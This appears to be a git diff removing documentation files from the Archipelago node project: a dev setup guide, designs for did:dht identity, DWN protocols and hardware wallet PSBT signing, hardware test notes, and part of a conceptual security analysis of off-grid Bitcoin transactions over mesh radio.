- Read [App Manifest Specification](./app-manifest-spec.md)
- Review [Architecture Documentation](./architecture.md)
- Check [Development Setup Guide](./development-setup.md)

View File

@@ -1,231 +0,0 @@
# Development Setup Guide
This guide explains how to run Archipelago locally for development.
## Prerequisites
- **Rust** (latest stable) - [Install Rust](https://rustup.rs/)
- **Node.js** (v18+) and **npm** - [Install Node.js](https://nodejs.org/)
- **Podman** (for container features) - [Install Podman](https://podman.io/getting-started/installation)
- **PostgreSQL** (for backend database) - [Install PostgreSQL](https://www.postgresql.org/download/)
## Project Structure
The project has two main components:
1. **Backend** (`core/startos/`) - Rust backend with RPC API
2. **Frontend** (`neode-ui/`) - Vue.js 3 frontend
## Quick Start
### Option 1: Mock Backend (Fastest for UI Development)
For frontend-only development, use the mock backend:
```bash
cd neode-ui
npm install
npm run dev:mock
```
This starts:
- Mock backend server on port 3000
- Vite dev server on port 8100
- Open http://localhost:8100
### Option 2: Full Stack Development
For full-stack development with the real backend:
#### Terminal 1: Backend
```bash
cd core
cargo run --bin startbox --features cli,daemon
```
The backend will:
- Start RPC server on port 5959
- Initialize database if needed
- Serve API endpoints
#### Terminal 2: Frontend
```bash
cd neode-ui
npm install
npm run dev:real
```
Or just:
```bash
npm run dev
```
The frontend will:
- Start Vite dev server on port 8100
- Proxy API requests to backend on port 5959
- Open http://localhost:8100
## Development Scripts
### Frontend Scripts (`neode-ui/package.json`)
- `npm run dev` - Start Vite dev server
- `npm run dev:mock` - Start with mock backend
- `npm run dev:real` - Start with real backend (backend must be running separately)
- `npm run build` - Build for production
- `npm run type-check` - TypeScript type checking
### Backend Scripts
- `cargo run --bin startbox` - Run backend in dev mode
- `cargo run --bin startbox --release` - Run backend in release mode
- `cargo test` - Run tests
- `cargo build` - Build backend
## Environment Variables
### Backend
Create `.env` in `core/` directory:
```bash
DATADIR=/tmp/archipelago-dev
RPC_BIND=127.0.0.1:5959
LOG_LEVEL=debug
```
### Frontend
Create `.env` in `neode-ui/` directory:
```bash
VITE_BACKEND_URL=http://localhost:5959
VITE_API_BASE=/rpc/v1
```
## Database Setup
The backend uses PostgreSQL. For development:
```bash
# Create database
createdb archipelago_dev
# Or use Docker
docker run -d \
--name archipelago-postgres \
-e POSTGRES_PASSWORD=dev \
-e POSTGRES_DB=archipelago_dev \
-p 5432:5432 \
postgres:15
```
## Container Development
To test container features locally, you need Podman:
```bash
# Install Podman (macOS)
brew install podman
# Initialize Podman machine
podman machine init
podman machine start
# Verify
podman --version
```
## Hot Reload
- **Frontend**: Vite provides instant hot module replacement (HMR)
- **Backend**: Use `cargo watch` for auto-reload:
```bash
cargo install cargo-watch
cargo watch -x 'run --bin startbox'
```
## Debugging
### Frontend
- Use browser DevTools
- Vue DevTools extension recommended
- Console logs available
### Backend
- Use `RUST_LOG=debug` environment variable
- Add `println!` or use `tracing` macros
- Use a debugger like `lldb` or `gdb`
## Common Issues
### Port Already in Use
If port 5959 or 8100 is already in use:
```bash
# Backend - change port in .env
RPC_BIND=127.0.0.1:5958
# Frontend - change in vite.config.ts
server: { port: 8101 }
```
### Database Connection Errors
- Ensure PostgreSQL is running
- Check connection string in backend config
- Verify database exists
### Container Features Not Working
- Ensure Podman is installed and running
- Check Podman machine is started (macOS)
- Verify rootless Podman is configured
## Testing
### Frontend Tests
```bash
cd neode-ui
npm test
```
### Backend Tests
```bash
cd core
cargo test
```
## Building for Production
### Frontend
```bash
cd neode-ui
npm run build
```
Output: `dist/` directory
### Backend
```bash
cd core
cargo build --release
```
Output: `target/release/startbox`
## Next Steps
- Read [Architecture Documentation](./architecture.md)
- Check [App Manifest Specification](./app-manifest-spec.md)
- Review [Coding Standards](../CODING_STANDARDS.md)

View File

@@ -1,160 +0,0 @@
# did:dht Integration Architecture
## Overview
Archipelago currently uses `did:key` for node identities. This document describes integrating `did:dht` as a **complementary** DID method that makes node identities discoverable via the BitTorrent Mainline DHT, without relying on centralized registries, Nostr relays, or Tor hidden services.
**Goal**: Each Archipelago node has two DID types:
- `did:key` — Offline, self-certifying, works without network (primary identity)
- `did:dht` — Published to Mainline DHT for decentralized discovery (optional, discoverable)
## What is did:dht?
The `did:dht` method stores DID Documents in the [BitTorrent Mainline DHT](https://www.bittorrent.org/beps/bep_0044.html) using BEP-44 (mutable items). Key properties:
- **No server needed**: Uses the public DHT network (~15M+ nodes)
- **Ed25519 keypair**: Same key type Archipelago already uses
- **DNS-encoded**: DID Document stored as a DNS packet (compact, standardized)
- **Mutable**: Documents can be updated by the key holder
- **TTL-based**: Published records have a TTL and must be refreshed periodically (every 2 hours recommended)
- **Identifier format**: `did:dht:{z-base-32-encoded-ed25519-pubkey}`
## Architecture
### DID Relationship
```
Node Identity (Ed25519 keypair)
├── did:key:z6Mk... (derived from pubkey, offline, stable)
└── did:dht:z6Mk... (published to DHT, discoverable, same key)
```
Both DIDs use the same underlying Ed25519 keypair. The `did:dht` identifier is the z-base-32 encoding of the 32-byte public key. This means the same keypair produces both DID types — no additional key management.
### DHT Publication Flow
```
1. Node generates Ed25519 keypair (already exists)
2. Node creates DID Document with:
- Ed25519 verification key (signing)
- X25519 key agreement key (derived)
- Service endpoints (optional: Tor onion, federation endpoint)
3. DID Document encoded as DNS packet (RFC 1035)
4. DNS packet signed with Ed25519 key (BEP-44 mutable item)
5. Published to Mainline DHT under the public key
6. Refreshed every 2 hours to maintain availability
```
### DNS Packet Encoding
The DID Document maps to DNS resource records:
| Record Type | Name | Purpose |
|------------|------|---------|
| TXT `_did.` | `vm=k0` | Verification method: key 0 (Ed25519) |
| TXT `_did.` | `auth=0` | Authentication uses key 0 |
| TXT `_did.` | `asm=0` | AssertionMethod uses key 0 |
| TXT `_k0._did.` | `id=0;t=0;k={base64url_pubkey}` | Key 0: Ed25519 public key |
| TXT `_s0._did.` | `id=tor;t=TorHiddenService;se={onion}` | Service endpoint (optional) |
### Resolution Flow
```
1. Receive did:dht:{identifier}
2. Decode z-base-32 → 32-byte Ed25519 public key
3. Query Mainline DHT for BEP-44 mutable item under that key
4. Verify signature on the DHT payload
5. Parse DNS packet → reconstruct DID Document
6. Cache for 1 hour (reduce DHT load)
```
## Implementation Plan
### Rust Crate: `mainline`
Use the `mainline` crate for Mainline DHT access. It provides:
- `Dht::client()` for resolution-only nodes
- `Dht::server()` for full DHT participation
- `MutableItem` for BEP-44 put/get operations
- Ed25519 signing compatible with `ed25519-dalek`
Additional crates needed:
- `simple-dns` or `trust-dns-proto` for DNS packet encoding/decoding
- `zbase32` for z-base-32 encoding (did:dht identifier format)
### New Files
```
core/archipelago/src/identity/
├── did_dht.rs — did:dht creation, publication, resolution
└── dns_packet.rs — DID Document ↔ DNS packet encoding
```
### New RPC Endpoints
| Endpoint | Description |
|----------|-------------|
| `identity.create-dht-did` | Publish current node's DID to DHT |
| `identity.resolve-dht-did` | Resolve a did:dht from the DHT |
| `identity.refresh-dht-did` | Force refresh the DHT publication |
| `identity.dht-status` | Check if node's did:dht is published and resolvable |
### Integration Points
1. **Server startup**: Optionally publish did:dht in background (non-blocking)
2. **Identity manager**: Store did:dht alongside did:key in identity records
3. **Federation**: Accept did:dht in peer join/discovery
4. **Web5 UI**: Display both DID types, add publish/resolve buttons
5. **Credentials**: Accept did:dht as issuer/subject in VCs
### Background Refresh
A background tokio task refreshes the DHT publication every 2 hours:
```
spawn background task:
loop {
publish_to_dht(keypair, did_document_dns_packet)
sleep(2 hours)
}
```
If the node is offline when the TTL expires, the record drops from the DHT. It gets re-published when the node comes back online.
## Security Considerations
1. **Same key for both DIDs**: No new key material to protect. The Ed25519 key already in `/var/lib/archipelago/identity/node_key` is used for both.
2. **DHT is public**: Publishing to the DHT makes the node's DID Document visible to anyone querying the DHT. This is intentional for discoverability. Sensitive information (Tor addresses) should only be included in the service endpoints if the user explicitly opts in.
3. **No Tor address by default**: The DID Document published to DHT should NOT include Tor hidden service addresses by default (per the security rule about not publishing onion addresses publicly). Tor addresses are exchanged privately via federation.
4. **BEP-44 signature verification**: All DHT records are signed with Ed25519. Resolvers verify the signature, preventing tampering.
5. **Sybil resistance**: did:dht identifiers are derived from public keys, so creating a fake identity requires generating a new keypair. The federation trust system already handles this via trust levels.
## Comparison: did:key vs did:dht
| Property | did:key | did:dht |
|----------|---------|---------|
| Offline creation | Yes | No (needs DHT access) |
| Discoverable | No (must share manually) | Yes (query by identifier) |
| Persistence | Permanent (derived from key) | TTL-based (needs refresh) |
| Network requirement | None | UDP to DHT peers |
| Resolution | Local computation only | DHT query (~1-5s) |
| Privacy | Key not published anywhere | Key is on the DHT |
| W3C standard | Yes (DID Core) | Yes (DID Core) |
## Timeline
1. **DHT-02**: Implement did:dht creation + publication (~2 days)
2. **DHT-03**: Implement did:dht resolution + caching (~1 day)
3. **DHT-04**: Web5 UI integration (~1 day)
4. **Testing**: Cross-node resolution via DHT (separate from Tor) (~1 day)
## References
- [did:dht Method Specification](https://did-dht.com/)
- [BEP-44: Storing arbitrary data in the DHT](https://www.bittorrent.org/beps/bep_0044.html)
- [Mainline DHT crate](https://crates.io/crates/mainline)
- [W3C DID Core 1.0](https://www.w3.org/TR/did-core/)

View File

@@ -1,400 +0,0 @@
# Archipelago DWN Protocol Definitions
## Overview
These protocol definitions specify the data schemas used when Archipelago nodes exchange data via Decentralized Web Nodes (DWN). By defining protocols in the standard DWN format, any DWN-compatible application can read and write Archipelago data.
Each protocol defines:
- A unique URI identifier
- Data types with JSON schemas
- Structure rules (who can read/write what)
## Protocol 1: Node Identity Announcements
**URI**: `https://archipelago.dev/protocols/node-identity/v1`
Nodes publish their identity information so federated peers can discover capabilities and status.
```json
{
"protocol": "https://archipelago.dev/protocols/node-identity/v1",
"published": true,
"types": {
"announcement": {
"schema": "https://archipelago.dev/schemas/node-announcement/v1",
"dataFormats": ["application/json"]
}
},
"structure": {
"announcement": {
"$actions": [
{ "who": "anyone", "can": ["read"] },
{ "who": "author", "of": "announcement", "can": ["write", "update", "delete"] }
]
}
}
}
```
**Schema**: `node-announcement/v1`
```json
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"required": ["did", "version", "apps", "timestamp"],
"properties": {
"did": {
"type": "string",
"description": "Node's DID (did:key or did:dht)"
},
"version": {
"type": "string",
"description": "Archipelago version (semver)"
},
"apps": {
"type": "array",
"items": { "type": "string" },
"description": "List of installed app IDs"
},
"capabilities": {
"type": "array",
"items": { "type": "string" },
"description": "Node capabilities (e.g., 'file-sharing', 'dwn-sync', 'tor')"
},
"timestamp": {
"type": "string",
"format": "date-time",
"description": "ISO 8601 timestamp of announcement"
}
}
}
```
## Protocol 2: File Sharing Catalog
**URI**: `https://archipelago.dev/protocols/file-catalog/v1`
Nodes publish their shared file catalogs so peers can browse available content.
```json
{
"protocol": "https://archipelago.dev/protocols/file-catalog/v1",
"published": true,
"types": {
"entry": {
"schema": "https://archipelago.dev/schemas/file-entry/v1",
"dataFormats": ["application/json"]
}
},
"structure": {
"entry": {
"$actions": [
{ "who": "anyone", "can": ["read"] },
{ "who": "author", "of": "entry", "can": ["write", "update", "delete"] }
]
}
}
}
```
**Schema**: `file-entry/v1`
```json
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"required": ["id", "title", "access", "size_bytes", "created_at"],
"properties": {
"id": {
"type": "string",
"description": "Unique file entry ID"
},
"title": {
"type": "string",
"description": "Display title"
},
"description": {
"type": "string",
"description": "Optional description"
},
"content_type": {
"type": "string",
"description": "MIME type (e.g., 'application/pdf')"
},
"size_bytes": {
"type": "integer",
"description": "File size in bytes"
},
"access": {
"type": "string",
"enum": ["free", "peers-only", "paid"],
"description": "Access level"
},
"price_sats": {
"type": "integer",
"description": "Price in satoshis (for paid access)"
},
"hash": {
"type": "string",
"description": "SHA-256 hash of file content"
},
"created_at": {
"type": "string",
"format": "date-time"
},
"tags": {
"type": "array",
"items": { "type": "string" },
"description": "Content tags for filtering"
}
}
}
```
## Protocol 3: Federation State
**URI**: `https://archipelago.dev/protocols/federation/v1`
Nodes publish their federation membership and peer trust status.
```json
{
"protocol": "https://archipelago.dev/protocols/federation/v1",
"published": false,
"types": {
"membership": {
"schema": "https://archipelago.dev/schemas/federation-membership/v1",
"dataFormats": ["application/json"]
},
"peerStatus": {
"schema": "https://archipelago.dev/schemas/peer-status/v1",
"dataFormats": ["application/json"]
}
},
"structure": {
"membership": {
"$actions": [
{ "who": "recipient", "of": "membership", "can": ["read"] },
{ "who": "author", "of": "membership", "can": ["write", "update", "delete"] }
]
},
"peerStatus": {
"$actions": [
{ "who": "recipient", "of": "peerStatus", "can": ["read"] },
{ "who": "author", "of": "peerStatus", "can": ["write", "update"] }
]
}
}
}
```
**Schema**: `federation-membership/v1`
```json
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"required": ["node_did", "trust_level", "joined_at"],
"properties": {
"node_did": {
"type": "string",
"description": "DID of the federated node"
},
"trust_level": {
"type": "string",
"enum": ["trusted", "verified", "untrusted"],
"description": "Trust level assigned to this peer"
},
"joined_at": {
"type": "string",
"format": "date-time"
},
"last_seen": {
"type": "string",
"format": "date-time"
},
"apps": {
"type": "array",
"items": { "type": "string" },
"description": "Apps reported by this peer"
},
"credential_id": {
"type": "string",
"description": "VC ID proving federation relationship"
}
}
}
```
**Schema**: `peer-status/v1`
```json
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"required": ["node_did", "online", "timestamp"],
"properties": {
"node_did": {
"type": "string"
},
"online": {
"type": "boolean"
},
"cpu_percent": {
"type": "number"
},
"memory_used_mb": {
"type": "integer"
},
"disk_used_percent": {
"type": "number"
},
"container_count": {
"type": "integer"
},
"uptime_seconds": {
"type": "integer"
},
"timestamp": {
"type": "string",
"format": "date-time"
}
}
}
```
## Protocol 4: App Deployment Requests
**URI**: `https://archipelago.dev/protocols/app-deploy/v1`
Enables trusted peers to request app installations on remote nodes.
```json
{
"protocol": "https://archipelago.dev/protocols/app-deploy/v1",
"published": false,
"types": {
"request": {
"schema": "https://archipelago.dev/schemas/deploy-request/v1",
"dataFormats": ["application/json"]
},
"response": {
"schema": "https://archipelago.dev/schemas/deploy-response/v1",
"dataFormats": ["application/json"]
}
},
"structure": {
"request": {
"$actions": [
{ "who": "recipient", "of": "request", "can": ["read"] },
{ "who": "author", "of": "request", "can": ["write"] }
],
"response": {
"$actions": [
{ "who": "author", "of": "request", "can": ["read"] },
{ "who": "recipient", "of": "request", "can": ["write"] }
]
}
}
}
}
```
**Schema**: `deploy-request/v1`
```json
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"required": ["app_id", "requester_did", "target_did", "action"],
"properties": {
"app_id": {
"type": "string",
"description": "Application identifier (e.g., 'bitcoin-knots')"
},
"requester_did": {
"type": "string",
"description": "DID of the requesting node"
},
"target_did": {
"type": "string",
"description": "DID of the target node"
},
"action": {
"type": "string",
"enum": ["install", "update", "uninstall"],
"description": "Deployment action"
},
"image": {
"type": "string",
"description": "Docker/OCI image reference"
},
"version": {
"type": "string",
"description": "Requested version"
},
"reason": {
"type": "string",
"description": "Human-readable reason for request"
},
"requested_at": {
"type": "string",
"format": "date-time"
}
}
}
```
**Schema**: `deploy-response/v1`
```json
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"required": ["request_id", "status"],
"properties": {
"request_id": {
"type": "string",
"description": "ID of the original request"
},
"status": {
"type": "string",
"enum": ["accepted", "rejected", "completed", "failed"],
"description": "Response status"
},
"reason": {
"type": "string",
"description": "Reason for rejection or failure"
},
"completed_at": {
"type": "string",
"format": "date-time"
}
}
}
```
## Registration
On backend startup, all 4 protocols should be auto-registered via `dwn.register-protocol`:
```rust
const ARCHIPELAGO_PROTOCOLS: &[&str] = &[
"https://archipelago.dev/protocols/node-identity/v1",
"https://archipelago.dev/protocols/file-catalog/v1",
"https://archipelago.dev/protocols/federation/v1",
"https://archipelago.dev/protocols/app-deploy/v1",
];
```
## Interoperability
These protocols follow the DWN protocol definition format. Any application that implements DWN can:
1. **Read** node announcements to discover Archipelago nodes
2. **Browse** file catalogs to find shared content
3. **Query** federation state to understand network topology
4. **Request** app deployments through the standard DWN messaging interface
The `published: true` flag on protocols 1 and 2 means any DWN node can query for these records. Protocols 3 and 4 are `published: false` (private — only shared with authorized peers).

View File

@@ -1,38 +0,0 @@
# Hardware Compatibility Matrix
## Tested Platforms
| Platform | CPU | RAM | Storage | Status | Notes |
|----------|-----|-----|---------|--------|-------|
| HP ProDesk 400 G4 | Intel i3-8100T (4c/4t) | 16GB DDR4 | 1.8TB NVMe | **Certified** | Primary dev/test node (.228) |
| Generic x86_64 | — | 8GB | 457GB | **Certified** | Secondary node (.198), memory-constrained |
## Planned Platforms (Untested)
| Platform | Architecture | Expected RAM | Notes |
|----------|-------------|-------------|-------|
| Intel NUC 13 Pro | x86_64 | 16-32GB | Compact, NVMe, good for home server |
| Raspberry Pi 5 | ARM64 | 8GB | ARM64 build exists (docs/arm64-build.md) |
| Mini-PC (N100) | x86_64 | 8-16GB | Low power, fanless options |
| Lenovo ThinkCentre M720q | x86_64 | 16-32GB | Used market, reliable |
## Minimum Requirements
- **CPU**: 2 cores (4 recommended for 30+ containers)
- **RAM**: 4GB minimum (Core tier only), 8GB recommended, 16GB for all apps
- **Storage**: 500GB minimum (Bitcoin blockchain ~600GB), 1TB+ recommended
- **Network**: Ethernet (WiFi not recommended for servers)
## Known Platform Quirks
### .198 (8GB RAM)
- Crash recovery takes 260s (sequential container restart on limited RAM)
- Swap required (4GB minimum) to prevent OOM
- Background crash recovery (PERF-01) essential for health endpoint availability
- Backup with Argon2 KDF slow without adequate free RAM
### ARM64 (Raspberry Pi)
- Container images must be multi-arch or ARM64-specific
- Bitcoin Knots ARM64 image available
- Some containers (OnlyOffice) have no ARM64 build — must be excluded
- USB boot requires special ISO preparation

View File

@@ -1,35 +0,0 @@
# Hardware Regression Test Results — v1.0.0
## x86_64 (Intel i3-8100T @ 3.10GHz, 16GB RAM, 1.8TB NVMe)
**Device**: Dev server (192.168.1.228)
**OS**: Debian 12 (Bookworm)
**Date**: 2026-03-11
### Results
| Test | Result | Notes |
|------|--------|-------|
| Backend health endpoint | PASS | HTTP 200 in <1ms |
| Web UI loads | PASS | HTTP 200, full SPA renders |
| Nginx proxy | PASS | All routes proxied correctly |
| Container runtime | PASS | 20+ containers running via Podman |
| Uptime monitor | PASS | 100% uptime (3 checks, systemd timer active) |
| Soak test | RUNNING | 30-day test started, ends April 10 |
| ISO build | PASS | 12GB ISO built in ~4 minutes |
| RPC API | PASS | All endpoints respond with correct JSON-RPC format |
| WebSocket | PASS | Real-time updates functional |
| Tor hidden services | PASS | Container running, services registered |
| Federation | PASS | Peer endpoints responding |
### Pending Hardware Tests
| Platform | Status | Blocker |
|----------|--------|---------|
| Intel NUC | NOT TESTED | Requires physical hardware |
| Raspberry Pi 5 (ARM64) | NOT TESTED | Requires ARM64 device + ARM64 ISO |
| Generic x86_64 PC | PARTIAL | Dev server is the test platform |
## Summary
x86_64 platform fully validated on dev server. ARM64 and additional x86_64 hardware testing requires physical devices.

View File

@@ -1,179 +0,0 @@
# Hardware Wallet Integration Architecture
## Overview
Archipelago supports hardware wallets for secure Bitcoin transaction signing via PSBT (Partially Signed Bitcoin Transactions). This document covers integration with ColdCard, Trezor, and Ledger hardware wallets.
## Supported Devices
| Device | Connection | PSBT Support | DID Signing | Detection |
|--------|-----------|-------------|-------------|-----------|
| ColdCard Mk4 | USB / MicroSD / NFC | Native PSBT | No (Bitcoin-only) | USB VID `0xd13e` |
| Trezor Model T/Safe 3 | USB / WebUSB | Via trezorctl | No | USB VID `0x534c` (SatoshiLabs) |
| Ledger Nano S/X/Plus | USB / Bluetooth | Via HWI | No | USB VID `0x2c97` |
## Architecture
```
┌─────────────────────────────────────────────────────────────────┐
│ Archipelago Node │
│ │
│ ┌──────────┐ ┌────────────┐ ┌──────────────────────────┐ │
│ │ Web UI │───▸│ RPC Server │───▸│ LND (gRPC) │ │
│ │ │ │ │ │ - FundPsbt │ │
│ │ QR code │ │ lnd.create │ │ - SignPsbt (partial) │ │
│ │ display │ │ -psbt │ │ - FinalizePsbt │ │
│ │ │ │ │ │ - PublishTransaction │ │
│ │ File │ │ lnd.final │ └──────────────────────────┘ │
│ │ upload │ │ ize-psbt │ │
│ └──────────┘ └────────────┘ │
│ ▲ │
│ │ PSBT (base64) │
│ ▼ │
│ ┌──────────────────────┐ │
│ │ Hardware Wallet │ │
│ │ - USB direct │ │
│ │ - QR code scan │ │
│ │ - MicroSD (CC) │ │
│ └──────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
```
## PSBT Signing Flow
### 1. Create Unsigned PSBT
The user initiates a transaction (send coins, open channel, close channel). Instead of LND signing automatically, we create an unsigned PSBT.
**RPC endpoint**: `lnd.create-psbt`
```json
{
"method": "lnd.create-psbt",
"params": {
"outputs": [{"address": "bc1q...", "amount_sats": 50000}],
"fee_rate_sat_per_vbyte": 10,
"change_address": "bc1q..."
}
}
```
**Response**:
```json
{
"psbt_base64": "cHNidP8BAH...",
"psbt_hex": "70736274ff...",
"estimated_fee_sats": 1420,
"inputs": [{"txid": "abc...", "vout": 0, "amount_sats": 100000}],
"outputs": [{"address": "bc1q...", "amount_sats": 50000}, {"address": "bc1q...", "amount_sats": 48580}]
}
```
**LND gRPC mapping**: Uses `WalletKit.FundPsbt` to select UTXOs and create the PSBT template.
### 2. Sign with Hardware Wallet
Three transfer methods supported:
#### QR Code (ColdCard NFC, Trezor via companion app)
- Display PSBT as animated QR code (BBQr format for large PSBTs)
- User scans with hardware wallet
- Hardware wallet displays transaction details for verification
- User confirms on device
- Signed PSBT returned as QR code — user scans with camera or uploads screenshot
#### USB Direct (Trezor, Ledger)
- Detect hardware wallet USB device
- Pass PSBT via USB HID protocol
- User confirms on device
- Signed PSBT returned via USB
#### MicroSD (ColdCard)
- Export PSBT file for download
- User transfers to ColdCard via MicroSD
- ColdCard signs and saves signed PSBT to MicroSD
- User uploads signed PSBT file back to Archipelago
### 3. Finalize and Broadcast
**RPC endpoint**: `lnd.finalize-psbt`
```json
{
"method": "lnd.finalize-psbt",
"params": {
"signed_psbt_base64": "cHNidP8BAH..."
}
}
```
**Response**:
```json
{
"txid": "abc123...",
"raw_tx_hex": "0200000001...",
"broadcast": true
}
```
**LND gRPC mapping**: Uses `WalletKit.FinalizePsbt` then `WalletKit.PublishTransaction`.
## USB Device Detection
**RPC endpoint**: `system.detect-usb-devices`
Scans `/sys/bus/usb/devices/` or uses `lsusb` to detect known hardware wallet vendor IDs:
| Vendor | VID | Product IDs |
|--------|-----|-------------|
| ColdCard (Coinkite) | `0xd13e` | `0xcc10` (Mk4), `0xcc20` (Q) |
| Trezor (SatoshiLabs) | `0x534c` | `0x0001` (One), `0x0002` (T) |
| Ledger | `0x2c97` | `0x0001` (Nano S), `0x0004` (Nano X), `0x0005` (Nano S+) |
Implementation approach:
```rust
// Read from /sys/bus/usb/devices/*/idVendor and idProduct
async fn detect_usb_devices(known_vids: &[(u16, &str)]) -> Vec<DetectedDevice> {
// Parse /sys/bus/usb/devices/X-Y/idVendor
// Match against known VIDs
// Return device list with type identification
}
```
The detection runs server-side since the hardware wallet is plugged into the Archipelago node (not the browser).
## UI Integration Points
### Send Coins View
- Add "Sign with Hardware Wallet" toggle/option
- When enabled: create unsigned PSBT → show QR/download → accept signed PSBT → finalize
### Channel Management
- Open Channel: PSBT funding option
- Close Channel: Cooperative close via PSBT
### Hardware Wallet Status
- Show notification banner when USB device detected
- Display device type and connection status
- Auto-detect on the Server/Dashboard page
## Security Considerations
1. **PSBT verification**: Display transaction details (amounts, addresses, fees) before and after hardware signing — user should verify they match
2. **No private keys on node**: When using hardware wallet flow, LND's internal wallet creates watch-only inputs; the hardware wallet holds the actual signing keys
3. **PSBT size limits**: QR codes can handle ~2KB; larger PSBTs need animated QR (BBQr) or file transfer
4. **USB permissions**: The `archipelago` user needs access to USB HID devices (`udev` rules)
## Implementation Priority
1. **Phase 1** (HW-02): PSBT create/finalize RPC endpoints via LND gRPC
2. **Phase 2** (HW-03): QR code display + file upload UI
3. **Phase 3** (HW-04): USB device detection and notification
4. **Future**: Direct USB HID communication (trezorlib, ledger-transport)
## Dependencies
- LND v0.18+ (PSBT API via WalletKit)
- `qrcode` npm package (QR generation in UI)
- `lsusb` or `/sys/bus/usb/` access (device detection)
- No external hardware wallet libraries needed for Phase 1-3 (PSBT is a standard format)

View File

@@ -1,414 +0,0 @@
# Off-Grid Bitcoin Transaction Security Analysis
> Comprehensive security analysis for off-grid Bitcoin transactions over mesh radio (LoRa/Meshcore) in the Archipelago context. Covers attack vectors, trust models, and mitigations for every layer of the stack.
## 1. Transaction Creation & Signing (Offline)
Offline signing is cryptographically safe. Bitcoin signing is a pure secp256k1 operation — no network needed. PSBT (BIP174) was designed exactly for this.
### Key Risks
| Attack | Severity | Trustless Fix? | Description |
|--------|----------|----------------|-------------|
| Stale UTXO data | High | No — requires chain state | UTXO already spent; tx is invalid. No fund loss, wastes time/bandwidth. |
| Address substitution on unsigned PSBT | Critical | Yes — verify on trusted display | Compromised PSBT creator substitutes destination address. |
| Fee manipulation in PSBT | Medium | Yes — signer verifies fee | Compromised PSBT creator inflates fees (theft to miners). |
| Double-spend by offline sender | Critical | No — fundamental | Sender can sign conflicting txs; nothing is final until confirmed in a block. |
### PSBT Security Model
PSBTs are tamper-evident but not tamper-proof across a network. The signer verifies what they sign, but cannot prevent the PSBT creator from lying about context. In a mesh context:
- Sign PSBTs on the local device only
- Only send the fully-signed raw transaction over mesh for broadcast
- Never send unsigned PSBTs over mesh — the relay could modify outputs
### Archipelago Status
`PsbtHash` (type 3) sends only the SHA-256 hash over mesh, not the PSBT itself — correct. Actual PSBT exchange should happen on a trusted local channel (USB, QR code, NFC).
---
## 2. Transaction Broadcasting / Relay Trust
A signed Bitcoin transaction is cryptographically sealed by the sender's private key. The relay **cannot**:
- Change the destination address
- Change the amount or fee
- Steal funds or extract the private key
The relay **can**:
- **Not broadcast it** (censorship) — High severity
- **Delay broadcasting** (enables race conditions) — High severity
- **Claim it broadcast when it didn't** — High severity
- **Front-run** (only relevant for DEX/DeFi trades, not standard payments)
### Proof of Broadcast
There is no native Bitcoin "proof of broadcast." Mitigations:
1. Relay returns signed attestation (Ed25519) with txid + timestamp
2. Sender watches for confirmation via block header relay
3. Multiple independent relays reduce collusion risk
4. Relay returns actual `sendrawtransaction` RPC response from Bitcoin Core
### Archipelago Status
`TxRelayResponse` returns the actual RPC result (`txid`, `error`, `error_code`) — good. However, the response is **not signed** by the relay, so a mesh MITM could forge it. `TxConfirmation` (type 12) provides follow-up confirmation updates (1, 2, 3 confirmations), which is the real proof.
### Gap: Sign TxRelayResponse
**Recommendation**: Sign `TxRelayResponse` messages with the relay's Ed25519 key (using `TypedEnvelope::new_signed`). This prevents a mesh MITM from forging relay responses.
---
## 3. Payment Verification Without a Full Node
### SPV (Simplified Payment Verification)
SPV clients download only block headers (80 bytes each) and verify:
- Chain of proof-of-work is valid
- Transaction is included in a block via Merkle proof
**What SPV can verify:**
- Block header has valid proof-of-work
- Transaction included in a specific block (via Merkle proof)
- Which chain has the most cumulative proof-of-work
**What SPV cannot verify:**
- That the block is actually valid (could contain invalid transactions)
- That the chain is canonical (if eclipsed, attacker feeds fake chain)
- That a transaction has NOT been included (omission attacks)
### Block Headers Over Mesh
Block headers (80 bytes, or Archipelago's compact 44-byte format) allow:
- Tracking chain tip (current block height)
- Detecting stale/fake data (blocks should arrive ~every 10 min)
- Verifying proof-of-work continuity
**Headers alone are NOT sufficient for SPV verification.** You also need Merkle proofs (~320-384 bytes per transaction) to verify inclusion. This fits within Archipelago's Reed-Solomon chunking.
### Compact Block Filters (BIP157/158)
~15KB per block — too large for LoRa. But the relay node can run a full node, do filter matching locally, and relay only relevant Merkle proofs back.
### Eclipse Attacks
If a mesh node gets headers from only one relay, that relay can feed fake headers. Mining one fake block costs ~$300K-500K at current difficulty — impractical for small amounts, relevant for high value.
### Archipelago Status
`BlockHeaderCache` stores headers by height and tracks latest height. `BlockHeaderPayload` includes `height`, `hash`, `prev_hash`, `timestamp`, and `announced_by`. The `announced_by` field enables multi-relay comparison.
### Gaps
- No chain continuity validation (prev_hash linkage)
- No proof-of-work validation on received headers
- No multi-relay header comparison
- No Merkle proof relay for transaction inclusion verification
- No timestamp sanity checking
---
## 4. Double-Spend Attacks in Off-Grid Context
This is the most dangerous attack category for off-grid Bitcoin.
### Attack Scenarios
| Scenario | Severity | Trustless Fix |
|----------|----------|---------------|
| Split-path: mesh TX-A + internet TX-B (sender sends conflicting txs on two channels) | Critical | None — wait for confirmations |
| RBF attack: sender replaces mesh TX via internet with higher-fee conflicting tx | Critical | Detect RBF signaling (nSequence), reject/warn |
| Time-delay: relay holds TX while sender broadcasts conflicting tx via internet | High | Multiple relays, monitor for confirmation |
### Confirmation Safety Levels
| Confirmations | Time | Security Level | Off-Grid Recommendation |
|---------------|------|----------------|------------------------|
| 0 (mempool) | Immediate | Zero — trivially reversible | Never accept for any value |
| 1 | ~10 min | Low — rare reorg can reverse | Minimum for small amounts |
| 2 | ~20 min | Medium — very unlikely reversed | Good for moderate amounts |
| 3 | ~30 min | High — practically irreversible | Recommended for meaningful amounts |
| 6 | ~60 min | Very high — requires 51% attack | Required for high value |
### Archipelago Status
`TxConfirmation` (type 12) tracks 1, 2, 3 confirmations and `block_height` — correct approach.
### Gap: RBF Detection
**Recommendation**: Check `nSequence` on relayed transactions. If it signals RBF (nSequence < 0xFFFFFFFE), warn the sender or reject the relay in off-grid context.
---
## 5. Balance Checking — Risks and Considerations
On its own, knowing a balance is **low severity** — all Bitcoin balances are public on-chain. However, in a mesh context, the concern shifts to metadata:
